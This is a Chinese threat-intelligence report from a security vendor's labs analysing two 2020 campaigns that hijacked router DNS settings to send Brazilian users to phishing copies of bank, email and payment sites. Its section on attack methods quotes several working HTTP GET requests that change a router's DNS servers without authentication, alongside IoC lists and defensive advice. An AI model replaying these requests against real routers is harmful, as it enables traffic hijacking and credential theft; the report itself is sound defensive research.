执行摘要
DNS劫持危害严重,会给用户带来糟糕的网络访问体验,也有可能威胁到用户的数据乃至财产安全。在2020年,我们通过绿盟威胁捕获系统捕获到两起DNS劫持事件,本文将对其进行分析,并将重点放在正在发生的第二起事件上。
攻击者进行DNS劫持的流程为:首先对暴露在互联网上的存在未授权DNS修改漏洞的路由器进行攻击,将其DNS服务器地址改为攻击者的恶意DNS服务器;之后,当用户访问攻击者劫持的域名时,会访问到钓鱼网站,页面中会诱导用户输入账号密码、银行卡号等敏感信息;最后,攻击者利用收集到的敏感信息获利。
本文的关键发现如下:
2020年至今,我们共捕获到2起DNS劫持事件。第一起攻击主要集中在5月24日,攻击源只有1个,第二起攻击在8月18日首次被我们捕获到,截至笔者行文,该攻击还在进行中。
在第一起劫持事件中,攻击源在短时间内进行了全球范围的攻击,目标端口是80和8080,共使用了4类远程DNS修改(Remote DNS Change)漏洞。
在第二起劫持事件中,攻击者从8月18日起持续进行全球范围的攻击,目标端口是80、81、82、8080和8182,攻击者仅利用了一种攻击方式,但是,我们在Exploit-DB中共发现18条相关的漏洞信息 ,涉及多个厂商的路由器。
第二起攻击的攻击源有27个,77.8%的攻击源位于荷兰,其余攻击源位于美国。这些IP均来自同一ASN(AS14061),所属ISP为DIGITALOCEAN-ASN。绿盟威胁情报中心的数据显示,85.2%的IP有IDC标签。
发生DNS劫持后,路由器的首选DNS服务器会被篡改为149.56.152.185。我们对Alexa排名前 1万的域名解析数据进行了分析,发现攻击者的攻击目标主要为电子邮箱、银行和通用的娱乐、电商、支付平台类网站。采集的个人信息包括电子邮箱账户、支票账户、网络银行账号、银行卡号和相关银行卡信息及其密码等。攻击者劫持的大部分域名为巴西的域名,并且我们发现了用葡萄牙语编写的代码,因此,我们判断攻击者的攻击目标以巴西为主,并且攻击者很有可能是巴西人。
我们利用绿盟威胁情报中心的资产数据对潜在受影响的设备分布情况进行了评估。我们发现真正暴露在巴西的主要是Beetel公司的BCM96338这一型号的路由器,但其暴露数量也仅为361台。假定不存在未被识别出的设备,那么本次DNS劫持事件对巴西的影响有限。但是由于攻击者的扫描是全球范围的,其他国家的设备的DNS也存在被篡改的可能。不过即便被篡改,根据我们对劫持目标的分析,其他国家受影响的用户的数据泄露的可能性也比较小。
由于厂商设备型号众多,未被披露的型号同样可能存在相同的漏洞。从厂商角度来看,TP-LINK、ASUS和D-Link路由器的全球暴露数量均超过百万,而在巴西,这三个厂商的设备也有一定的暴露面。
针对DNS劫持的防护,我们建议,在网页出现异常时提高警惕,为系统指定DNS服务器,及时将路由器固件升级为最新版本等。
1. 简介
1.1 什么是DNS劫持
DNS,即Domain Name System(域名系统)[1],是一种将域名解析为计算机能够识别的网络地址(IP地址)的系统,是Internet的重要组成部分。DNS劫持指DNS服务器的拥有者(或攻击者)恶意将某域名指向错误的IP。
1.2 DNS劫持的危害
DNS劫持危害主要有以下五点:
(1)无法访问某些域名,表现为连接超时等。
(2)访问某些域名时跳转到其他网站,如访问Google却跳转到百度页面。
(3)当访问到错误的域名时,跳转到广告页面。
(4)访问某些域名时,页面增加了广告信息。主要针对静态网页。
(5)劫持到模仿真实网站做成的假网站,从而窃取用户名、密码甚至银行卡卡号、密码等恶意行为。很多情况下难辨真伪。
前四点会为用户带来糟糕的体验,以及为DNS拥有者带来一笔不菲的收入。而最后一点直接威胁到用户的数据乃至财产安全,是非常严重的。
1.3 DNS劫持是如何发生的
DNS劫持的发生,主要有两种可能:
(1)ISP(网络服务提供商)提供的DNS出现问题,或是趋于利益,或是遭到攻击。
(2)设备(路由器、用户设备等)的DNS相关设置被恶意篡改。
2. DNS劫持威胁分析
2.1 攻击趋势分析
我们对DNS劫持相关日志进行了分析,如图 2.1 所示,2020年至今,我们共捕获到2起DNS劫持行为。第一起攻击主要集中在5月24日,攻击源只有1个,第二起攻击在8月18日首次被我们捕获到,截至笔者行文,该攻击还在进行中。本章也将主要对第二起攻击进行分析。
图 2.1 DNS劫持攻击趋势分析
2.2 攻击手法
2.2.1 第一起DNS劫持事件
在第一起劫持事件中,攻击源只有一个,在短时间内进行了全球范围的攻击,目标端口是80和8080,共使用了4类远程DNS修改(Remote DNS Change)漏洞。
漏洞1:
攻击手法:
GET /dnscfg.cgi?dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1
目标端口:80、8080
目标设备:我们在Exploit-DB中共发现18条相关的记录[①],涉及多个厂商的路由器,包括D-Link、UTstarcom、Beetel、iBall Baton、Tenda、Pirelli、Exper、ASUS、COMTREND、PLANET、inteno、TP-LINK、Shuttle Tech等。
漏洞2:
攻击手法:
GET /Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8
目标端口:80、8080
目标设备:D-Link DSL-2640R(EDB-ID: 43678)、DSL-2740R(EDB-ID: 35917)。
漏洞3:
攻击手法:
GET /ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=111.90.159.53&dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP
目标端口:80、8080
目标设备:D-Link DSL-2640B(EDB-ID: 36105)。
漏洞4:
攻击手法:
GET /goform/AdvSetDns?GO=wan_dns.asp&rebootTag=&DSEN=1&DNSEN=on&DS1=111.90.159.53&DS2=8.8.8.8 HTTP/1.1
目标端口:8080
目标设备:我们在Exploit-DB中共发现7条相关的记录,涉及多个厂商的路由器,包括Secutech、Tenda、Unicon等。
2.2.2 第二起DNS劫持事件
在第二起劫持事件中,攻击源有27个,8月18日起持续进行全球范围的攻击,目标端口是80、81、82、8080和8182,攻击方式唯一,采用了上一节提到的漏洞1。
攻击手法:
GET /dnscfg.cgi?dnsPrimary=149.56.152.185&dnsSecondary8.8.4.4&dnsDynamic=0&dnsRefresh=1
从上述攻击手法中我们也可以看到,攻击者在dnsSecondary和8.8.4.4之间忘记写“=”了,这将导致目标设备的dnsSecondary并不会被攻击者所改变。
2.3 攻击源分析
说明:本节的攻击源分析仅针对第二起攻击。
2.3.1 攻击源国家分布
我们共捕获到27个攻击源的DNS篡改行为,这些攻击源分布很集中,77.8%的攻击源位于荷兰,其余攻击源位于美国。我们发现这些IP均来自同一ASN(AS14061),所属ISP为DIGITALOCEAN-ASN。绿盟威胁情报中心的数据显示,85.2%的IP均有IDC标签。因此,一个合理的推测是,这些IP存在漏洞,被攻击者攻破后进行DNS劫持攻击。
2.3.2 攻击源开放端口分布
图 2.2 是攻击源主要开放的端口的分布情况,这些攻击源中,大部分开放了22、443和80端口。
图 2.2 攻击源主要开放端口分布情况
2.4 攻击者服务器信息
目前已知存在DNS劫持现象的服务器地址是149.56.152.185,通过遍历Alexa的Top1M域名列表[2]的前一万域名,找到了部分异常情况,这些域名被劫持到了攻击者的IP。在一段时间内,我们检测到这个IP是在变化的,依次为:149.56.79.208、107.23.99.48、149.56.79.215。截止发文时,最后一个IP仍然活跃。
149.56.152.185、149.56.79.208、149.56.79.215位于加拿大魁北克省博阿努瓦,运营商为ovh.com。107.23.99.48位于美国弗吉尼亚州阿什本,运营商amazon.com。表 2.1 和表 2.2 分别是149.56.152.185和149.56.79.215的端口开放情况。
表 2.1 149.56.152.185端口开放情况
表 2.2 149.56.79.215端口开放情况
2.5 DNS劫持目标分析
攻击目标主要为巴西电子邮箱类、银行类,还有和财产相关的通用娱乐电商支付平台类。采集的个人信息包括电子邮箱账户、支票账户、网络银行账号、银行卡号和相关银行卡信息及其密码等。另外,还有CPF码(巴西纳税人标识)以及持卡人姓名等,是巴西纳税人的重要信息。可见攻击者目标明确,对财产方面感兴趣。另外我们注意到[3],有攻击者在2019年3月,也对类似的域名进行过劫持。
所有的假页面有一些共同点:
一是HTML结构简单,几乎无CSS,而用整页图片替代;
二是采用PHP生成网页,还有少量JavaScript文件用于检测输入信息的合法性;
三是仅有登陆功能可用,其余大部分超链接无法使用或者链接到404页面;
四是均为HTTP协议,无法通过HTTPS访问;
五是大部分网页为葡萄牙语(巴西官方语言),被攻击的域名也以巴西域名(br后缀)为主,且发现了用葡萄牙语编写的代码,猜测攻击者为巴西人可能性较大。
以下为具体案例:
a) outlook.com,Outlook邮箱
打开后显示葡萄牙语登录页面。随意输入邮箱和密码后跳转到br.msn.com,并提示找不到服务器IP。猜测攻击者希望跳转到真实页面,但未实现。
b) live.com,Outlook邮箱
同上。
c) msn.com,MSN门户
显示为Outlock邮箱登陆页面,同上。
d) terra.com.br,Terra邮箱(巴西)
主页所有链接打开后均为404,可以输入用户名和密码,输入后点击登录仍跳回主页。
e) bradesco.com.br,Bradesco银行(巴西)
打开主页仅有顶部可用,要求输入机构编号和用户支票账号,点击ok后跳转到404页面。(猜测是攻击者尚未配置完毕)
f) caixa.gov.br,CAIXA银行(巴西)
图 2.3 CAIXA银行的真实页面(上)和攻击者伪造页面(下)
图 2.3 是巴西CAIXA银行的真实页面和攻击者伪造页面,虽然看起来很像,但后者仅有登陆功能。
访问被劫持页面,主页仅有一个登陆按钮,其余为单纯图片,点击无反应。
点进去后要求输入用户名,并选择个人、法人或政府。用户名要求10至20位。随意输入即可进入到下一级。
要求输入网络银行密码。页面弹窗提示用网页的虚拟键盘录入,但实际上仅能通过键盘录入。这应该是攻击者尚未完善。随意输入进入下一级。
称当前计算机需要登记后才能访问,阅读后进入下一级。
要求输入CPF码(巴西纳税人码)、银行卡号、计算机昵称。这里CPF有合法性检查,我们编造了一个合法的CPF: 12345836407,成功进入下一级。值得一提的是,此处检查CPF合法性的JavaScript,使用葡萄牙语编写的,猜测攻击者为巴西人可能性较大。
选择计算机登记时间:永久、1至365天、仅此一次,选择后进入下一级。
显示计算机成功登记。进入下一级。
要求输入数字密码。限制六位,随意输入进入下一级。
确认数字密码,限制六位,无需与上次相同,提示成功,然后显示为一片空白。
g) santander.com.br,Santander银行(巴西)
图 2.4 Santander银行的真实页面(上)和攻击者伪造页面(下)
图 2.4 是巴西Santander银行的真实页面和攻击者伪造页面,后者仅有登陆功能。其主页提供两种登陆方式:CPF码或机构编号、用户支票账号。
CPF码有合法性检查,编造了合法的CPF 12345836407后要求输入登陆密码,随意输入后要求输入电话号码、CVV码、6位或8位超级数字密码(姑且这样翻译吧,实在看不懂葡萄牙语)、4位数字密码。随意输入后要求输入密码卡, 包含50个4位数和卡号。随意输入后要求输入卡号和签发日期,日期有合法性检查。随后显示成功信息。
随意输入机构编号、用户支票账号后跳转到登陆页面,要求输入用户名和密码。随意输入后进入下一级,显示先前输入的支票账号,要求输入支票密码、设备序列号和令牌(这应该是一种安全验证设备)。满足位数限制,随意输入后显示成功开通网上银行。
h) santandernet.com.br,Santander银行(巴西)
同上。
i) itau.com.br,Itau银行(巴西)
所采集信息基本与上银行网站同,不做赘述。
j) bb.com.br,巴西银行
所采集信息基本与上银行网站同,不做赘述。
k) citibank.com,花旗银行
404 Not Found。猜测是攻击者尚未配置完毕。
l) netflix.com,Netflix视频网站
图 2.5 攻击者伪造的Netflix页面
图 2.5 是攻击者伪造的Netflix页面,要求填写银行卡信息,打开主页后只有登录按钮可用,其余跳转到404页面。这里在一段时间内发现两种情况:
点击登录后提示可免费获取一个月会员,要求输入邮箱和密码。随意输入后进入下一级,要求输入银行卡信息,包含名、姓、CPF、卡号、签发日期、CVV码。随意输入后提示成功。
点击登录后要求输入邮箱和密码,提示用户被暂停,需要验证账户,要求输入银行卡信息,包含名、姓、CPF、卡号、签发日期、CVV码。随意输入后提示成功。
m) Americanas.com.br, Americanas电商平台(巴西)
图 2.6 Americanas电商平台的真实页面(上)和攻击者伪造页面(下)
图 2.6 是Americanas电商平台的真实页面和攻击者伪造页面,两者区别明显。点击登录,要求输入用户名(邮箱)和Americanas密码。提示可以兑换优惠券,要求输入银行卡号、签发日期、持卡人姓名、CVV码。随意输入后显示优惠券码。无论如何操作总显示同一优惠券码。
n) paypal.com, PayPal支付平台
图 2.7 攻击者伪造的PayPal页面
图 2.7 是攻击者伪造的PayPal页面,主页显示英文界面,点击登录,要求输入邮箱、密码、全名、生日、国家、住址、城市、邮编、银行卡号、签发日期、CVV码、密码。
2.6 潜在受影响设备暴露情况分析
通过Exploit-DB,我们可以获取存在远程DNS修改漏洞的设备厂商和型号,因此,本节将从这两个角度对潜在受影响的设备进行评估,数据来自绿盟威胁情报中心。由于劫持目标与巴西有关,除分析全球受影响情况外,我们也对巴西的受影响设备的分布情况进行了分析。
图 2.8 是潜在受影响的设备型号的分布情况,在我们可识别的设备中,真正暴露在巴西的主要是Beetel公司的BCM96338这一型号的路由器,但其暴露数量也仅为361台。从这个角度来看,假定不存在未被识别出的设备,那么本次DNS劫持事件对巴西的影响有限。但是由于攻击者的扫描是全球范围的,其他国家的设备的DNS也存在被篡改的可能,不过即便被篡改,根据我们对劫持目标的分析,其他国家受影响的用户的数据泄露的可能性也比较小。
图 2.8 潜在受影响设备暴露情况(设备厂商-型号)
图 2.9 是潜在受影响的设备厂商的分布情况,之所以从这个角度来考虑,是因为Exploit-DB的数据仅为互联网上披露出来的数据,但一个厂商设备型号众多,未必会被全面进行测试,未被披露的型号同样可能存在相同的漏洞。从图 2.9 可以看出,TP-LINK、ASUS和D-Link路由器的全球暴露数量均超过百万,而在巴西,这三个厂商的设备也有一定的暴露面。但是这些设备有多少的DNS可被篡改,我们就没有进行验证了。
图 2.9 潜在受影响设备暴露情况(设备厂商)
3. 小结
本文首先对DNS劫持的成因和危害进行了介绍,之后介绍了今年我们捕获到的两起DNS劫持事件。
针对DNS劫持的防护,我们有如下建议:
当发现网页出现异常时,如加载速度慢、显示异常、功能缺失、要求录入个人信息等,立即停止访问,更换网络环境或手动配置DNS后再试。
尽量使用HTTPS访问网站。当HTTPS证书错误或仅能通过HTTP访问时,谨慎操作,提高警惕(但这也有可能是管理员的疏忽导致的)。
一般情况下,系统(尤其Windows)自动选择DNS服务器时,会采用上级所提供的。路由器也会以采用上级提供的DNS,即ISP(网络服务提供商)的DNS服务器。如果路由器DNS因某些原因被篡改时,下属设备就会受到影响。这种情况下只需要为系统指定DNS服务器即可避免DNS劫持攻击。这里列举一些公认的DNS服务器[4],具体延迟还需要自行测试,挑选速度快、稳定的DNS即可。
表 3.1 常用DNS服务器列表
防止路由器DNS设置被篡改是“治本”的方法。首先避免使用默认登陆密码(如admin, guest等)和弱密码(如123456, 88888888等);定期更新路由器固件,留意路由器厂商公布的漏洞信息,防止被黑客骇入;如果有条件,不把路由器IP(尤其是管理页面)暴露在公网,为攻击者留下可乘之机。限于IPv4地址数量,我国大部分家用宽带无法分得公网IP,且运营商封禁了常用web端口(80, 8080, 443),也在一定程度上规避了发生的风险。
如果你追求更安全纯净的DNS服务,DoT(DNS over TLS)和DoH(DNS over HTTPS)或许是更好的选择,代价是耗费更长的时间。本文不做赘述。
4. IoC
4.1 第一起DNS劫持事件
攻击源:
51.159.71.63
恶意DNS服务器:
111.90.159.53
4.2 第二起DNS劫持事件
攻击源:
134.209.194.220
134.209.205.83
157.245.69.183
161.35.82.213
161.35.90.137
165.22.206.34
167.172.47.178
178.62.204.69
178.62.205.16
178.62.206.207
178.62.208.183
178.62.208.240
178.62.211.51
178.62.227.36
178.62.244.184
178.62.244.210
178.62.244.220
178.62.244.234
178.62.244.245
178.62.245.27
178.62.245.40
188.166.24.138
188.166.26.148
188.166.29.118
188.166.29.173
64.225.66.217
64.225.78.202
恶意DNS服务器:
149.56.152.185
参考文献
[1] Domain Name System, https://en.wikipedia.org/wiki/Domain_Name_System
[2] Alexa Top 1M, http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
[3] PayPal, Netflix, Gmail, and Uber users among targets in new wave of DNS hijacking attacks, https://www.ixiacom.com/company/blog/paypal-netflix-gmail-and-uber-users-among-targets-new-wave-dns-hijacking-attacks
[4] 世界各地DNS服务器地址大全, http://ip.yqie.com/dns.htm
关于格物实验室
格物实验室专注于工业互联网、物联网和车联网三大业务场景的安全研究。 致力于以场景为导向,智能设备为中心的漏洞挖掘、研究与安全分析,关注物联网资产、漏洞、威胁分析。目前已发布多篇研究报告,包括《物联网安全白皮书》、《物联网安全年报2017》、《物联网安全年报2018》、《物联网安全年报2019》、《国内物联网资产的暴露情况分析》、《智能设备安全分析手册》等。与产品团队联合推出绿盟物联网安全风控平台,定位运营商行业物联网卡的风险管控;推出固件安全检测平台,以便快速发现设备中可能存在的漏洞,以避免因弱口令、溢出等漏洞引起设备控制权限的泄露。
关于伏影实验室
伏影实验室专注于安全威胁与监测技术研究。 研究目标包括僵尸网络威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。
绿盟威胁捕获系统
网络安全发展至今特别是随着威胁情报的兴起和虚拟化技术的不断发展,欺骗技术也越来越受到各方的关注。欺骗技术就是威胁捕获系统关键技术之一。它的高保真、高质量、鲜活性等特征,使之成为研究敌人的重要手段,同时实时捕获一手威胁时间不再具有滞后性,非常适合威胁情报的时效性需求。
绿盟于2017年中旬运营了一套威胁捕获系统,发展至今已逐步成熟,感知节点遍布世界五大洲,覆盖了20多个国家,覆盖常见服务、IOT服务,工控服务等。形成了以全端口模拟为基础,智能交互服务为辅的混合型感知架构,每天从互联网中捕获大量的鲜活威胁情报,实时感知威胁。
[①] 我们在Exploit-DB中对关键词“DNS change”进行检索,并对结果进行了分类整理。